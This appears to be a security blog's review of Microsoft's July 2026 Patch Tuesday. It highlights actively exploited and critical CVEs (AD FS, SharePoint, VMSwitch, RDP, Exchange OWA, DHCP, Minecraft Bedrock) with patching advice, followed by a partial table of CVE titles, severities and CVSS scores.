The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  